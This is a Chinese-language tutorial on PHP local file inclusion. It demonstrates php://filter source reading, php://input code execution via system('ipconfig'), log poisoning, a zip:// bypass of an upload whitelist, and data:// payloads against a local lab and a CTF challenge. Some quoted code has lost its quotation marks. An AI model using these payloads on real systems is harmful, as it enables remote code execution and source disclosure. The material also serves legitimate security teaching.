推荐学习:《PHP教程》
文件包含
文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。
要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:
常见的导致文件包含的函数:
PHP:include()、include_once()、require()、require_once()等;
1.PHP文件包含可以直接执行包含文件的代码,包含的文件格式不受任何限制
在 PHP 中提供了四个文件包含函数:
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(3) Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;
PHP伪协议
PHP伪协议,事实上是其支持的协议与封装协议。而其支持的协议有:
file:// — 访问本地文件系统 PHP:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流
all_url_include在PHP 5.2以后添加,安全方便的设置(PHP的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允许打开URL文件,预设启用)
allow_url_fopen = Off (禁止打开URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
allow_url_include = On (允许引用URL文件,新版增加功能)
file协议
file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。
http://localhost/www/lfi.PHP?file=file://F:\PHPstudy\PHPstudy_pro\WWW\www\PHPinfo.PHP
PHP协议
PHP:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是PHP://filter和PHP://input
PHP://filter用于读取源码:
PHP://input用于执行PHP代码。
http://localhost/www/lfi.PHP?file=PHP://filter/read=convert.base64-encode/resource=./PHPinfo.PHP
PHP://filter读取PHP文件时候需要base64编码
PHP://input
- allow_url_include = On
PHP://input + [POST DATA]执行PHP代码
需要***allow_url_include = On***
http://localhost/www/lfi.PHP?file=PHP://input POST <?system('ipconfig')?>
- allow_url_include = Off
不过一般大部分情况下,allow_url_include 为默认关闭状态,
就不能包含POST数据了,这种情况下可以包含apache日志或者错误日志记录
首先需要fuzz大法,爆破出日志的路径,
为了测试方便,我先将日志的内容清空,方便演示
访问该网址,通过报错将代码写入日志中
注意:这里要使用burp抓包去访问,不然代码会被url编码写入日志,就不能执行了
也可以将代码写入 user-agent中
http://localhost/www/lfi.PHP?file=<?PHP PHPinfo();?>
我的日志路径为:
F:\PHPstudy\PHPstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
使用file://伪协议去读取日志,发现PHPinfo被成功执行了
http://localhost/www/lfi.PHP?file=file://F:\PHPstudy\PHPstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
zip://协议
** zip:// & bzip2:// & zlib:// **均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。
<html><form action= enctype=multipart/form-data method=post name=upload>file:<input type=file name=file /><br> <input type=submit value=upload /></form><?PHPif(!empty($_FILES[file])){ echo $_FILES[file]; $allowedExts = array(gif, jpeg, jpg, png); @$temp = explode(., $_FILES[file][name]); $extension = end($temp); if (((@$_FILES[file][type] == image/gif) || (@$_FILES[file][type] == image/jpeg) || (@$_FILES[file][type] == image/jpg) || (@$_FILES[file][type] == image/pjpeg) || (@$_FILES[file][type] == image/x-png) || (@$_FILES[file][type] == image/png)) && (@$_FILES[file][size] < 102400) && in_array($extension, $allowedExts)) { //move_uploaded_file($_FILES[file][tmp_name], upload/ . $_FILES[file][name]); echo file upload successful!Save in: . upload/ . $_FILES[file][name]; } else { echo upload Failed!; }}echo $_FILES[file][tmp_name];?></html>
分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif, “jpeg”, “jpg”, png四种后缀名的文件。
<html>Tips: the parameter is file! :) <!-- upload.PHP --></html><?PHP @$file = $_GET[file]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,..) !== FALSE || strlen($file)>=70) { echo <p> error! </p>; } else { include($file.'.PHP'); } }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了PHP后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.PHP的文件。
test.PHP中写入木马
<?PHPPHPinfo();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.PHP,发现PHPinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.PHP?file=zip://upload/test.png%23test
data://
条件:
allow_url_fopen:on allow_url_include :on
访问网址
http://localhost/www/lfi.PHP?file=data://text/plain,<?PHP PHPinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
推荐学习:《PHP教程》
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。